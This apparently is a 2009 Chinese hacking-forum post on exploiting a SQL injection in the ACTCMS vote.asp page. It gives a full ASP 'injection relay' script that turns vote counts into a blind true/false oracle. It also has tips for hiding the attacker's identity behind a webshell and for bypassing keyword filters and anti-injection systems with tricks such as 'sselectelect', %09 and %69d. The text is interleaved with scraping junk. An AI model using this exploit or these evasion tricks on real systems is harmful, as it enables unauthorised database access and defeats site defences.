注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
6 z$ y" @. p8 Q4 z关于actcms漏洞的利用  by 3x qq:381862589
' T" u9 e1 u$ A5 B* i5 p8 _转载请注明以上
! n8 s4 E5 |" }2 R: P5 j漏洞文件：
( H& ~& W; k5 R$ \- ]/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
' g: _( \1 u. r: w8 m6 c  N
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

, [3 z! P9 p4 r& x: ?; ?3    response.end   
! }! _0 |1 z3 P
4    end if   

$ U) t5 n4 t# S4 I/ ^4 E  E+ D6 N  N5    for i=1 to request("voted").count   
3 Z# D) l9 E8 }
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8....   
# @3 _1 D6 H3 ]2 K# }
8 _2 j. T6 }) a( V6 u( f9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
9 o+ V; {+ H3 D- W$ G! d0 E如果投票成功票数加1
" }7 H! G2 O7 [6 i9 E" r9 g' r4 F            失败票数不变
5 J. ?% I3 G, Q' g/ `' E! H如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

9 m% Y# a: r3 D; \2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
1 V- _  e# V! X- U
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
- G! y/ ?% J0 o% Z- L$ Y注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
  d) P) A- i. P8 V
) ~: Q8 Z" l8 f3 X# C7 {02JmdcwName=request("jmdcw")
9 y9 k7 u6 b. F* i; C& S
  h. W/ |- p% v% H1 _1 S$ S03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
8 S& I$ f7 K$ P, [
04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)
, g6 D. P. c; u- A$ s4 ]5 W
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 U  @; Z9 S6 O0 q
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

. n  \, d( ?' V1 I08testurl=testurl & "?" & JmStr
' k, E4 G6 p! {, p  M- x8 ^" z- {  X
( a# }: e7 _" D) X. f; i- P! X09JMUrl=JMUrl & "?" & JmStr
* o: O* }% u7 q! W
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

) L: S/ v# w2 V4 D0 Z11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 f+ D. l+ S, \/ \. r
12JmCok=replace(JmCok,chr(32),"%20")  
* n& A+ _7 X; L/ e/ ]$ D! b' b
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
, O, h) r% k  F4 J! Y$ D
' C! U  e+ f2 ?. {% n14  

; [- Q; I% U% R( h  w15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
" v0 f, R: e' M" X% f% k
, k9 O8 M% P3 g5 G" Q9 N/ b6 ]) ~16  
6 L. m5 C' x# Q$ y7 p, x# t3 Y' k
. T+ |6 ?6 x( ^* L  @2 Q, Y) t17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
0 R: B3 T9 w+ Q& g+ U2 H8 i! J2 I/ i
18response.write test1&""&test2&""
$ D/ }+ Z8 L+ q1 h& p9 B
19  
1 }. U5 z' |6 q9 A' E3 e/ v0 j
20if test1=test2 then '如前后记录相等，表示失败

" m' s; L. V  E2 m+ z% ^21  response.write "failed"
8 Q4 _/ d4 R3 F- O
. X/ e0 ~( I" a" n! f# ~22else
% y" K; L4 i; v# S/ n; k1 T
23  response.write "succeed"

24end if  
8 S# r6 B: R  b- h
$ n/ {3 V- j2 C+ R25  

26response.write "by 3x"
, y# Y+ H4 y3 J3 H0 D# H
27  

28  
* f! o% M3 @* k, i. k+ u' Z/ Q
0 l3 g8 N! _) k/ s7 o6 v) z7 p0 x) i29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* n6 K; U4 \: l: W, M4 d# `
30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 N. q& e+ H# v& H$ E
32With Http

7 G. V" ?! c6 D5 }. Q33  
  w0 |# Z7 ]1 o  q2 p5 V" d
34.Open "GET",PostUrl,False
( s/ S& s; S7 z% P7 b' T) _' l2 p
9 I$ M0 }( w) [; I35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
5 e* Z( o* h3 o+ r
6 l% l  s: C# T* k+ T36.SetRequestHeader "Referer",PostRef
  C/ h. z" d: E4 _
37.SetRequestHeader "Cookie",PostCok

38.Send ()

& [% n* k) t2 ]' [) `7 i9 {7 W6 q39PostData = .ResponseBody

4 S# b  @- t$ H7 w40End With

: m  L, h; ^4 o41Set Http = Nothing
9 D& |& f4 l# ^" @/ U
42PostData =bytes2BSTR(PostData)
6 I. P7 ]) B" a, N
$ P( g. C, b! P! _2 n, A43End Function

44  

45  

/ B* Z0 u$ M( @, |* {46Function bytes2BSTR(vIn)
" a  [8 L) G7 x: T* ~
47Dim strReturn
$ o% W  A3 K# ^7 J. K% W
' ^& f9 e% |4 \/ v6 ^, y48Dim I, ThisCharCode, NextCharCode
# I2 O- X/ ]  c* R9 k+ s
# m: |1 ]6 [) h) D* Q5 u+ A$ v2 p' U49strReturn = ""
+ v% G6 P5 i/ s, {0 h6 ~
50For I = 1 To LenB(vIn)

( [, c$ m, E, k% P51ThisCharCode = AscB(MidB(vIn, I, 1))

9 ]2 e: {; N+ k' t, r. K3 c52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

8 m" N: \; I' |/ l+ k56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1

58End If

59Next

" h  }- \7 s: W! z2 ~9 d2 L: D60bytes2BSTR = strReturn

% [3 q: [% W2 n  I61End Function
% h. y! v1 r8 w( h% l  H# q$ w' n, f
( z: M% g. P# q0 }5 o62  
5 w3 `% D# g- x# K8 v
- A+ S. _+ c$ U63Function URLEncoding(vstrin)  

64strReturn=""
8 `0 A$ D& ^! U* {5 j2 }
65Dim i

66For i=1 To Len(vstrin)
7 m' x$ f9 V9 j2 ?$ h% F  @8 @
67ThisChr=Mid(vstrin,i,1)

9 e+ I) D6 x$ ]7 Q68if Abs(Asc(ThisChr))< &HFF Then
  b! g3 T# Q  g; K& L  |
69strReturn=strReturn & ThisChr

- S4 i" T+ `" M- `# R70Else
& Y+ Y8 Y& ^# x1 W. `
71InnerCode=Asc(ThisChr)

5 f6 T+ ~) P! I. F: v' a$ |72If InnerCode<0 Then

" d. I3 d, t8 Q4 ], O+ C' h73InnerCode=InnerCode + &H10000

7 e4 t. E  r' }8 ]* k9 {4 B- R: g% y! L74End If

4 o: t4 f; v! Y" A75Hight1=(InnerCode And &HFF00) \&HFF

$ M/ H& a+ [7 l! Z76Low1=InnerCode And &HFF
; z& K+ P3 y& K7 p* k4 V
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; i; I# D0 F; \6 N. O# A
78End if

79Next
5 V( ]7 g& _& D+ }" F1 }2 R
6 z* j3 P# R9 b, `6 F80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
- u9 B9 {4 ~6 p+ u1 ~
! K" ~6 }$ r8 a5 Z  _4 S  K: _81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
4 g$ B8 r* R# f$ T5 i! U
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
5 w% V9 }$ I% B* T( L. E# N. P& Z
83URLEncoding=strReturn

84End Function
# _# @4 u8 f% v7 u  r; X
85  
7 j8 l% m5 p* I3 j. R: S  }% @, _. f
8 Y. G4 e/ g( U86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
  G4 |3 z( X! W7 C5 j8 j: j, v
1 t/ r$ H7 L( B, j* M88  endpot=instr(startpot,body," ")
9 H% h. b, `# _
89  getSt=mid(body,startpot,endpot-startpot)
/ L: `# U. h9 Q* r: `
90end function

91%>
& P8 a+ g3 \' |9 N% f+ V/ g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 x( O3 H/ g, Z; c9 f% B$ U( l测试下效果：
: i( v# f+ A1 e2 Z投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ O0 t+ V+ Z9 ~+ Z0 G. y, g* p8 m0 X
4 s, ~; \  {+ S7 y, K2009-12-27 13:29
" x4 A, X5 T1 a/ f+ V- }7 z投票失败
8 `& R/ I" H. n1 }, {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
9 V6 ]) {( y. A' O& A
& R# y% j1 ?; V) ?; R2009-12-27 13:29
-------------------------------------------------------------------------------
6 ]6 C: O1 a- t再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
  H% H  |5 C: t7 H很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
0 x7 _( \: ~, r- h% m0 V-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
, m, @& B9 }& ~* l: u3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过